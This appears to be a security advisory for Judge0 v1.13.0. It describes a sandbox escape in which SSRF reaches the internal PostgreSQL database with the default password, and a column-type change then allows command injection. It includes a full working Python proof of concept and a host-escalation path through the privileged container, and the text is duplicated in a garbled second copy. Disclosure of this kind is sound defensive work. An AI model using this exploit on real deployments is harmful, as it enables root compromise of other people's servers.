Summary
The default configuration of Judge0 leaves the service vulnerable to a sandbox escape via Server Side Request Forgery (SSRF). This allows an attacker with sufficient access to the Judge0 API to obtain unsandboxed code execution as root on the target machine.
Details
Judge0 has a configuration option labelled enable_network which allows the sandboxed application to perform network requests. This includes communicating with Judge0's PostgreSQL database which is available inside the internal Docker network.
The exploit targets the following lines of code (found here):
command = "isolate #{cgroups} \
-s \
-b #{box_id} \
-M #{metadata_file} \
#{submission.redirect_stderr_to_stdout ? "--stderr-to-stdout" : ""} \
#{submission.enable_network ? "--share-net" : ""} \
-t #{submission.cpu_time_limit} \
-x #{submission.cpu_extra_time} \
-w #{submission.wall_time_limit} \
-k #{submission.stack_limit} \
-p#{submission.max_processes_and_or_threads} \
#{submission.enable_per_process_and_thread_time_limit ? (cgroups.present? ? "--no-cg-timing" : "") : "--cg-timing"} \
#{submission.enable_per_process_and_thread_memory_limit ? "-m " : "--cg-mem="}#{submission.memory_limit} \
-f #{submission.max_file_size} \
-E HOME=/tmp \
-E PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\" \
-E LANG -E LANGUAGE -E LC_ALL -E JUDGE0_HOMEPAGE -E JUDGE0_SOURCE_CODE -E JUDGE0_MAINTAINER -E JUDGE0_VERSION \
-d /etc:noexec \
--run \
-- /bin/bash run \
< #{stdin_file} > #{stdout_file} 2> #{stderr_file} \
"
puts "[#{DateTime.now}] Running submission #{submission.token} (#{submission.id}):"
puts command.gsub(/\s+/, " ")
puts
`#{command}`
This code is usually safe from command injection vulnerabilities as all variables injected into the shell command are either string literals or numerical values. However, by using the SSRF to connect to the database and change the datatype of relevant columns it is still possible to get command injection.
PoC
This PoC targets the default configuration of Judge0 to simulate an end user following the self hosted deployment procedure.
- Download Judge0:
wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip
unzip judge0-v1.13.0.zip
cd judge0-v1.13.0
- Start Judge0 locally:
docker compose down -v && docker compose up -d
- Execute the following python script to exploit the vulnerability:
#!/usr/bin/env python3
import requests
# Address of Judge0 instance
TARGET = "http://localhost:2358"
# Command to run outside of the sandbox
CMD = "echo sandbox escaped > /tmp/poc"
# Password for PostgreSQL, the default configuration uses YourPasswordHere1234
DB_PASSWORD = "YourPasswordHere1234"
# SQL command to update the last submission to contain a command injection payload
SQL = "ALTER TABLE submissions ALTER stack_limit TYPE text; UPDATE submissions SET stack_limit='$({})' WHERE id=(SELECT MAX(id) FROM submissions);".format(
CMD
)
# Submitted source code to SSRF into PostgreSQL
CODE = """import socket
import struct
import hashlib
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("db", 5432))
class SMsg:
def __init__(self, type):
self.header = type.encode() if type is not None else b""
self.data = b""
def write_int(self, n):
self.data += struct.pack(">I", n)
def write(self, d):
self.data += d
def write_str(self, s):
self.data += s.encode() + b"\\x00"
def send(self):
s.sendall(self.header + struct.pack(">I", len(self.data) + 4) + self.data)
class RMsg:
def __init__(self, type, data):
self.type = type
self.data = data
def get_int(self):
strt = self.data[:4]
self.data = self.data[4:]
return struct.unpack(">I", strt)[0]
def get(self, n):
strt = self.data[:n]
self.data = self.data[n:]
assert len(strt) == n
return strt
@staticmethod
def read():
mtype = s.recv(1)[0]
mlen = struct.unpack(">I", s.recv(4))[0]
return RMsg(mtype, s.recv(mlen))
def md5(x):
return hashlib.md5(x).hexdigest()
m = SMsg(None)
m.write_int(196608)
m.write_str("user")
m.write_str("judge0")
m.write_str("database")
m.write_str("judge0")
m.write(b"\\x00")
m.send()
resp = RMsg.read()
assert resp.type == ord("R")
assert resp.get_int() == 5 # md5 encryption
salt = resp.get(4)
assert resp.data == b""
m = SMsg("p")
m.write_str("md5" + md5(md5(b"{}" + b"judge0").encode() + salt))
m.send()
print(s.recv(1024))
m = SMsg("Q")
m.write_str("{}")
m.send()
print(s.recv(1024))""".format(
DB_PASSWORD,
SQL
)
def submit(src):
return requests.post(
TARGET + "/submissions",
json={"source_code": src, "language_id": 71, "enable_network": True},
).json()
# This number may need to be increased if there are more workers/workers are faster
NUM_PADDING = 20
for i in range(NUM_PADDING):
submit("print('test')")
submit(CODE)
for i in range(NUM_PADDING):
submit("print('test')")
- Wait for the jobs to finish executing (usually takes less than 60 seconds)
- Verify that the command has been executed. If the exploit is successful, you should see the output
poc indicating that the file poc was created.
docker compose exec server ls /tmp && docker compose exec workers ls /tmp
Impact
An attacker can use this vulnerability to gain unsandboxed code execution on the Docker container running the submission job.
This vulnerability is not as severe as CVE-2024-28185 as it relies on the following circumstances:
- The enable network flag must be allowed. This requires
ALLOW_ENABLE_NETWORK to be either true or empty in judge0.conf.
POSTGRES_PASSWORD must be default, or bruteforcable. judge0.conf indicates that the password must be changed, however many users following the setup guide may not be aware of this field in the configuration.
An attacker successfully exploiting this vulnerability may then escalate their privileges outside of the Docker container due to the Docker container being run using the privileged. This will allow the attacker to mount the Linux host filesystem and the attacker can then write files (for example a malicious cron job) to gain access to the host system.
From this point the attacker will have complete access to the Judge0 host system including the database, internal networks, the Judge0 webserver, and any other applications running on the Linux host.
Summary
The default configuration of Judge0 leaves the service vulnerable to a sandbox escape via Server Side Request Forgery (SSRF). This allows an attacker with sufficient access to the Judge0 API to obtain unsandboxed code execution as root on the target machine.
Details
Judge0 has a configuration option labelled
enable_networkwhich allows the sandboxed application to perform network requests. This includes communicating with Judge0's PostgreSQL database which is available inside the internal Docker network.The exploit targets the following lines of code (found here):
This code is usually safe from command injection vulnerabilities as all variables injected into the shell command are either string literals or numerical values. However, by using the SSRF to connect to the database and change the datatype of relevant columns it is still possible to get command injection.
PoC
This PoC targets the default configuration of Judge0 to simulate an end user following the self hosted deployment procedure.
wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip unzip judge0-v1.13.0.zip cd judge0-v1.13.0docker compose down -v && docker compose up -dpocindicating that the filepocwas created.Impact
An attacker can use this vulnerability to gain unsandboxed code execution on the Docker container running the submission job.
This vulnerability is not as severe as
CVE-2024-28185as it relies on the following circumstances:ALLOW_ENABLE_NETWORKto be eithertrueor empty injudge0.conf.POSTGRES_PASSWORDmust be default, or bruteforcable.judge0.confindicates that the password must be changed, however many users following the setup guide may not be aware of this field in the configuration.An attacker successfully exploiting this vulnerability may then escalate their privileges outside of the Docker container due to the Docker container being run using the
privileged. This will allow the attacker to mount the Linux host filesystem and the attacker can then write files (for example a malicious cron job) to gain access to the host system.From this point the attacker will have complete access to the Judge0 host system including the database, internal networks, the Judge0 webserver, and any other applications running on the Linux host.